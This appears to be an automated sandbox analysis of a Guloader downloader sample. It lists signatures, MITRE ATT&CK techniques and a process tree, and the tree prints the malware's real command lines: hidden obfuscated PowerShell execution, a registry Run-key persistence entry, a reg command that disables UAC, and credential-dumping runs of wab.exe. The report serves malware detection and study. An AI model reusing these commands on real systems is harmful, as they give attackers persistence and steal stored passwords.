Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
10/07/2024, 19:09
General
- Target f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe
- Size 400KB
- Sample240710-xtsmasxdrc
- SHA256 f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- UAC bypass 3 TTPs 1 IoCs
- NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Nirsoft 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry key 1 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious behavior: MapViewOfSection 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 32 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Chemosensitivity=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl';$saalbnkes=$Chemosensitivity.SubString(72809,3);.$saalbnkes($Chemosensitivity)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"5⤵
- Adds Run key to start application
- Modifies registry key
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C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f5⤵
- UAC bypass
- Modifies registry key
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dmnairborxpwvzvgwoud"4⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fpttjjlinfhjxfrkgzpxdzha"4⤵
- Accesses Microsoft Outlook accounts
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pjglkcwjbnzoimfopkbygmcjfce"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
logs.dat
__PSScriptPolicyTest_amxquan2.qmh.ps1
dmnairborxpwvzvgwoud
Rhagadiform199.Udl
Terzio.Pre27
memory/1108-70-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1108-71-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1108-65-0x0000000000400000-0x0000000000462000-memory.dmp
memory/2652-72-0x0000000000400000-0x0000000000478000-memory.dmp
memory/2652-67-0x0000000000400000-0x0000000000478000-memory.dmp
memory/2652-64-0x0000000000400000-0x0000000000478000-memory.dmp
memory/3444-28-0x0000000006050000-0x000000000609C000-memory.dmp
memory/3444-14-0x0000000005050000-0x0000000005072000-memory.dmp
memory/3444-30-0x0000000006520000-0x000000000653A000-memory.dmp
memory/3444-31-0x0000000006580000-0x00000000065A2000-memory.dmp
memory/3444-32-0x0000000007690000-0x0000000007C34000-memory.dmp
memory/3444-9-0x000000007419E000-0x000000007419F000-memory.dmp
memory/3444-34-0x00000000082C0000-0x000000000893A000-memory.dmp
memory/3444-36-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-37-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-38-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-27-0x0000000006020000-0x000000000603E000-memory.dmp
memory/3444-40-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-41-0x0000000008940000-0x000000000CA02000-memory.dmp
memory/3444-42-0x000000007419E000-0x000000007419F000-memory.dmp
memory/3444-43-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-44-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-46-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-10-0x0000000004A70000-0x0000000004AA6000-memory.dmp
memory/3444-11-0x0000000005250000-0x0000000005878000-memory.dmp
memory/3444-12-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-13-0x0000000074190000-0x0000000074940000-memory.dmp
memory/3444-22-0x0000000005A60000-0x0000000005DB4000-memory.dmp
memory/3444-15-0x0000000005980000-0x00000000059E6000-memory.dmp
memory/3444-16-0x00000000059F0000-0x0000000005A56000-memory.dmp
memory/3444-29-0x0000000007040000-0x00000000070D6000-memory.dmp
memory/4868-66-0x0000000000400000-0x0000000000424000-memory.dmp
memory/4868-69-0x0000000000400000-0x0000000000424000-memory.dmp
memory/4868-68-0x0000000000400000-0x0000000000424000-memory.dmp
memory/4908-62-0x0000000002150000-0x0000000006212000-memory.dmp
memory/4908-49-0x0000000077BE1000-0x0000000077D01000-memory.dmp
memory/4908-48-0x0000000077C68000-0x0000000077C69000-memory.dmp
memory/4908-78-0x00000000224C0000-0x00000000224D9000-memory.dmp
memory/4908-82-0x00000000224C0000-0x00000000224D9000-memory.dmp
memory/4908-81-0x00000000224C0000-0x00000000224D9000-memory.dmp
memory/4908-85-0x0000000077BE1000-0x0000000077D01000-memory.dmp
memory/4908-47-0x0000000077BE1000-0x0000000077D01000-memory.dmp